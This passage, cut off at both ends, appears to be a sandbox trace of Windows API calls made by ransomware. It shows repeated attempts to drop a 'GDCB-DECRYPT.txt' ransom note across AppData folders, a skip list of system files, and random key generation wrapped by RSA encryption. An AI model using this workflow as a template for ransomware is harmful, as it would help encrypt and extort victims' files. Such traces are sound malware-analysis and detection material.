pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.431] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\\\GDCB-DECRYPT.txt") returned 279 [0170.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.431] GetLastError () returned 0x3 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.431] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.431] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\\\GDCB-DECRYPT.txt") returned 299 [0170.431] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.432] GetLastError () returned 0x3 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.432] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\\\GDCB-DECRYPT.txt") returned 288 [0170.432] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.432] GetLastError () returned 0x3 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.432] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\\\GDCB-DECRYPT.txt") returned 287 [0170.432] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.432] GetLastError () returned 0x3 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.432] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.439] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\\\GDCB-DECRYPT.txt") returned 261 [0170.439] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.439] GetLastError () returned 0x3 [0170.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.439] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.440] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\\\GDCB-DECRYPT.txt") returned 271 [0170.440] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\user data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.440] GetLastError () returned 0x3 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.441] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\Dictionaries\\\\GDCB-DECRYPT.txt") returned 284 [0170.441] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\CEF\\User Data\\Dictionaries\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\cef\\user data\\dictionaries\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.441] GetLastError () returned 0x3 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.441] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.442] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\\\GDCB-DECRYPT.txt") returned 263 [0170.442] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.442] GetLastError () returned 0x3 [0170.442] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.442] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.442] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.442] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.443] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\\\GDCB-DECRYPT.txt") returned 268 [0170.443] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.443] GetLastError () returned 0x3 [0170.443] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 268 [0170.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 268 [0170.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 268 [0170.443] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat") returned 268 [0170.443] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="desktop.ini") returned -1 [0170.443] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="autorun.inf") returned 1 [0170.443] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="ntuser.dat") returned -1 [0170.443] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="iconcache.db") returned -1 [0170.444] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="bootsect.bak") returned 1 [0170.444] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="boot.ini") returned 1 [0170.444] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="ntuser.dat.log") returned -1 [0170.444] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="thumbs.db") returned -1 [0170.444] lstrcmpiW (lpString1="CalendarCache.dat", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.444] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\calendarcache.dat")) returned 0xffffffff [0170.444] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat", dwFileAttributes=0xfffffffe) returned 0 [0170.444] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0170.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.444] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0170.444] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.444] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0170.445] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.445] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0170.445] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.445] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0170.447] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5cf0) returned 1 [0170.447] CryptGetKeyParam (in: hKey=0x5f5cf0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.447] CryptEncrypt (in: hKey=0x5f5cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0170.448] GetLastError () returned 0x0 [0170.448] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.448] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0170.450] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f60f0) returned 1 [0170.450] CryptGetKeyParam (in: hKey=0x5f60f0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.450] CryptEncrypt (in: hKey=0x5f60f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285d120*=0x100) returned 1 [0170.450] GetLastError () returned 0x0 [0170.450] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.450] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.450] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.450] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.450] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.450] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.451] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\\\GDCB-DECRYPT.txt") returned 272 [0170.451] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\Unistore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.451] GetLastError () returned 0x3 [0170.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.461] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\\\GDCB-DECRYPT.txt") returned 274 [0170.461] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\comms\\unistoredb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.461] GetLastError () returned 0x3 [0170.462] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\store.vol") returned 266 [0170.462] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\store.vol") returned 266 [0170.462] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.chk") returned 264 [0170.462] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.chk") returned 264 [0170.462] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 264 [0170.462] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 264 [0170.462] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 264 [0170.462] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Comms\\UnistoreDB\\USS.log") returned 264 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="desktop.ini") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="autorun.inf") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="ntuser.dat") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="iconcache.db") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="bootsect.bak") returned 1 [0170.462] lstrcmpiW (lpString1="USS.log", lpString2="boot.ini") returned 1 